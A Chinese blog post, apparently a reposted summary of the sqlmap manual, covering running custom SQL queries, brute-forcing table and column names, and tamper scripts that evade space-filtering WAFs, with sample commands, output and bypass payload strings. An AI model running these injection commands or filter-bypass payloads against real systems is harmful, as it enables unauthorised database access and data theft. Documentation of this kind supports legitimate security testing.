记一份SQLmap使用手册小结(一) (7)

可以在一下三种情况下使用:

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

运行自定义的SQL语句

参数:–sql-query,–sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://**********/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 [...] [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' [hh:mm:14] [INFO] retrieved: foo SELECT 'foo': 'foo' \$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2 [...] [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds SELECT 'foo', 'bar': 'foo, bar' 爆破

暴力破解表名

参数:–common-tables

当使用–tables无法获取到数据库的表时,可以使用此参数。

通常是如下情况:

1. `MySQL`数据库版本小于5.0,没有`information_schema`表。 2. 数据库是`Microssoft Access`,系统表`MSysObjects`是不可读的(默认)。 3. 当前用户没有权限读取系统中保存数据结构的表的权限。

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

列举一个MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner [...] [hh:mm:39] [INFO] testing MySQL [hh:mm:39] [INFO] confirming MySQL [hh:mm:40] [INFO] the back-end DBMS is MySQL [hh:mm:40] [INFO] fetching banner web server operating system: Windows web application technology: PHP 5.3.1, Apache 2.2.14 back-end DBMS operating system: Windows back-end DBMS: MySQL < 5.0.0 banner:'4.1.21-community-nt' [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt' [hh:mm:40] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 8 [hh:mm:43] [INFO] retrieved: users Database: testdb [1 table] +-------+ | users | +-------+

暴力破解列名

参数:–common-columns

与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

记一份SQLmap使用手册小结(一)

可以选择多线程来尝试破解。

针对过滤空格的:

1:space2dash.py

作用:用”– 随机字符串%0A” 替换原来的空格

示例:

'1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

原理是–n是注释,后面内容不生效,%0A为换行符,这样就可以不使用空格分隔了。

在以下版本做过测试:

MSSQL SQLite

2:space2hash.py

作用:空格替换为#号 随机字符串 以及换行符

示例:

1 AND 9227=9227 2 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

版本要求:

MySQL 在以下版本做过测试: MySQL 4.0, 5.0

3: space2morehash.py

作用:空格替换为 #号 以及更多随机字符串 换行符(和上一条原理一致)

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpjfgx.html